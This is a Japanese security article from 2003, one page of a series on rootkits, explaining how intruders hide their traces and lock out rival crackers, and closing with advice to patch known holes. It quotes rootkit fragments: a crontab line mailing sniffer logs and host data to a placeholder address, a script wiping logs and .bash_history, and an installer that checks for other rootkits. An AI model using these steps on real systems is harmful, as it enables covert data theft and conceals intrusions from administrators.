エンタープライズ:特集 2003/03/28 17:09:00 更新

rootkitによるハッキングとその防御
第4回 rootkitを利用した侵入 (5/5)

侵入の痕跡を隠す

 侵入に成功したシステム上にインストールしたrootkitのファイル類の隠蔽、ログの改ざん、また不要なログの消去は、管理者に侵入を気がつかれないために必要な要素となる。

■コマンドの改ざん例
  • rootkit関連の設定ファイルやツール類の隠蔽:ls/find/du/dir/vdir/locate など
  • バックドアなどのプロセスの隠蔽:ps/pstree/top/lsof など
  • ネットワークプロセスの隠蔽:netstat
  • ネットワークインターフェイスがプロミキャスモードになっていることを隠蔽:ifconfig
  • クラッカーの追加したcrontabのエントリーを隠蔽:crond
  • クラッカーのプロセス(バックドアなど)はkillさせない:killall
  • 不要なログを記録させない:syslogd/tcpd

 このほかにも、ライブラリの改ざんなどが挙げられる。

■例)rootkitに含まれていたcrontab-entryの一例、スニッファログをメールで送信させるために加えられている
0 0 1 * * /sbin/ifconfig |grep inet >/tmp/.log 2>/dev/null; /bin/hostname -f >>/tmp/.log 2>/dev/null; /usr/local/games/banner /usr/local/games/tcp.log >>/tmp/.log 2>/dev/null; cat /tmp/.log|mail -s 'tcp.log' hoge@hoge.org >/dev/null 2>&1; rm -f /tmp/.log >/dev/null 2>&1

■ログの消去・改ざん

 ログの消去については、第2回で解説しているが、ここでは、少し古いrootkitのインストールスクリプトの一部を例として見てみよう。下記のスクリプトではログクリーナーで特定のログを消去し、「.bash_history」は単純に消去するように記述されている。

〜省略〜
cd "/dev/rd/cdb/"
./cleaner hoge.net
cd "/dev/rd/cdb"
./cleaner named > /dev/null 2>&1
cd "/dev/rd/cdb/"
./cleaner root > /dev/null 2>&1
cd "/dev/rd/cdb"
./cleaner 202.212 > /dev/null 2>&1
rm -rf /root/.bash_history
rm -rf ~/.bash_history *
〜省略〜

■スニッファおよびツール

 スニッファやツール類の詳細な解説は割愛する。参考までに一部のrootkitに含まれているスニッファや、クラッカーが好むIRC関連ツールのファイル名を下記に記しておく。

スニッファ:linsniffer/sniffchk(スニッファが動作しているかチェック)など
IRC関連ツール:bitchx/mirkforce/psybnc/eggdrop/emechなど

攻略したマシンへほかのクラッカーから侵入されないようにする

 少し話が脱線するが、このほかにも、たとえば既知のセキュリティホールが放置されたままであった場合、あるクラッカーが侵入する以前に、ほかのクラッカーが侵入してrootkitを仕掛けている可能性がある。また逆に侵入に成功してrootkitを仕掛けたシステムであれば、侵入時に利用したセキュリティホールで、また新たなクラッカーがそのシステムに侵入してくるかもしれない。

 クラッカーにしてみれば、ほかのクラッカーが自分の攻略したシステムに侵入してくるようなことのないよう、彼らを閉め出したいと考えるだろう。そこで、既知のセキュリティホールを塞いだり、すでにrootkitが仕掛けられていればそれらを削除して、新たなrootkitを仕掛けるということある。

 下記のように、すでにインストールされたバックドアがあるかを確認したり、パッチを当てたりといったことを、インストール時に同時に行うように記述しているrootkitもある。

■セキュリティホールにパッチをあてる
# ./patch
# [Patching started on linux]
#          : linking /bin/.bash_history to /dev/null               #
#          : Upgrading WU-FTP, please wait a sec...                #
#          : Executing .rpm upgrade...                             #
〜省略〜

■rootkitー「illogic」のインストールスクリプトの一部、すでにインストールされているrootkitやトロイの木馬があるかをインストール時にチェックしている
〜省略〜
printf "${WHI}*${DWHI} Checking for existing rootkits..\n"
# this is lame.. will improve it later...
# SNAKE!!!! give me details of more kits
if test -d /usr/src/.puta ; then
printf "${RED}*** WARNING ***${DWHI} t0rnkit v7 or rip is already installed here\n"
fi
if test -d /lib/security/.config ; then
printf "${RED}*** WARNING ***${DWHI} This rootkit... or an earlier version, is already here\n"
fi
if test -d /usr/src/.poop ; then
printf "${RED}*** WARNING ***${DWHI} RameN Worm is installed here\n"
fi
if test -f /dev/hda06 ; then
printf "${RED}*** WARNING ***${DWHI} TeLeKiT telnetd trojan could be installed here\n"
fi
if test -d /usr/info/libc1.so ; then
printf "${RED}*** WARNING ***${DWHI} TeLeKiT could be installed here\n"
fi
if test -d /dev/wd4  ; then
printf "${RED}*** WARNING ***${DWHI} tribe default bot install dir here\n"
fi
printf "${WHI}*${DWHI} ${GRN}Installing on RedHat Linux V ${REDHAT} with ${CPU} CPU${DWHI}\n"
 
〜省略〜

■すでにrootkitがインストールされていた場合には警告が表示される。下記は同じrootkitがインストールされていたケース
〜省略〜
* Installing from /tmp/illogic - Will erase /tmp/illogic after install
* Checking for existing rootkits..
*** WARNING *** This rootkit... or an earlier version, is already here
* Installing on RedHat Linux V 6.2 with i686 CPU
〜省略〜

 このほかにもrootkitチェック用スクリプト「checkrk」などがある。

既知のセキュリティホールはすべて塞ぐのが重要

 今回は、技術レベルの低いクラッカーが利用する侵入手口やrootkitの内容について簡単に見てきたが、rootkitについて云々する以前に、セキュリティホールを放置したまま、サーバを運営していることが一番の問題だ。新しいワームやウイルスが登場したといっても、そのほとんどが既知のセキュリティホールを利用して感染していくものだ。これは、対策を立てていないコンピュータがいかに数多く存在しているか、ということでもある。遊び感覚のクラッカーに侵入させないためにも、まずは自社のマシン上で起動しているサービスから、脆弱性を排除する努力が必要だろう。

前のページ | 1 2 3 4 5 |      

[TTS,ITmedia]